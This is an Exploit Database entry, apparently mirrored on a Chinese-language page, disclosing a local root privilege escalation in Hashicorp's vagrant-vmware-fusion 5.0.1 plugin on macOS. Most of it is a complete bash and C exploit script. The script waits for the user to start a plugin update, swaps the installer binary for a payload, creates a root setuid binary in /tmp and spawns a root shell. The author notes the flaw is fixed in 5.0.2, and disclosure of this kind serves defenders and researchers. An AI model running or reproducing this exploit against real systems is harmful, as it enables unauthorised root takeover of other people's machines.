Hashicorp vagrant-vmware-fusion 5.0.1 – Local Privilege Escalation

• Exploit Database
• 18 阅读

• 作者： Mark Wadham
  日期： 2017-12-06
• 类别：

  • local
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/43220/

• # I recently blogged about how the installation process of version 5.0.0 of this
  # plugin could be hihacked by a local attacker or malware in order to escalate
  # privileges to root.Hashicorp pushed some mitigations for this issue fairly
  # quickly but unfortunately 5.0.1 is still exploitable with a slightly different
  # approach.
  
  # They removed the chmod/chown shell commands from their osascript invocation and
  # instead simply executed their installer as root, but apparently didn't realise
  # that the installer is not root-owned so can be swapped out by a local attacker
  # during the process.
  
  # This issue is fixed in version 5.0.2.
  
  # https://m4.rkw.io/vagrant_vmware_privesc_5.0.1.sh.txt
  # c38ecc9fdb4f37323338e8fd12b851133a2121f3505cde664e6d32f1ef49ba23
  # -----------------------------------------------------------------------------
  #!/bin/bash
  echo "########################################"
  echo "vagrant_vmware_fusion 5.0.1 root privesc"
  echo "by m4rkw"
  echo "########################################"
  echo
  echo "compiling..."
  
  cat > vvf.c <<EOF
  #include <unistd.h>
  #include <stdio.h>
  #include <stdlib.h>
  int main(int ac, char *av[])
  {
  setuid(0);
  seteuid(0);
  if (ac > 1) {
  system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 /tmp/vvf_exp");
  system("chown root:wheel /tmp/vvf_exp");
  system("chmod 4755 /tmp/vvf_exp");
  system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64.orig $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64");
  system("$HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 install\012");
  return 0;
  }
  system("rm -f /tmp/vvf_exp");
  execl("/bin/bash","bash",NULL);
  return 0;
  }
  EOF
  
  gcc -o /tmp/vvf_exp vvf.c
  rm -f vvf.c
  
  echo "waiting for user to initiate vagrant plugin update..."
  
  while :
  do
  r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant-vmware-installer_darwin_amd64'`
  if [ "$r" != "" ] ; then
  break
  fi
  done
  
  pid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64 install' |grep -v grep |xargs -L1 |cut -d ' ' -f2`
  
  cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop
  
  echo "dropping payload in place of installer binary..."
  
  mv -f vagrant-vmware-installer_darwin_amd64 vagrant-vmware-installer_darwin_amd64.orig
  mv -f /tmp/vvf_exp vagrant-vmware-installer_darwin_amd64
  
  echo "waiting for payload to trigger..."
  
  while :
  do
  r=`ls -la /tmp/vvf_exp 2>/dev/null |grep -- '-rwsr-xr-x' |grep root`
  if [ "$r" != "" ] ; then
  echo "spawning shell..."
  /tmp/vvf_exp
  exit 0
  fi
  done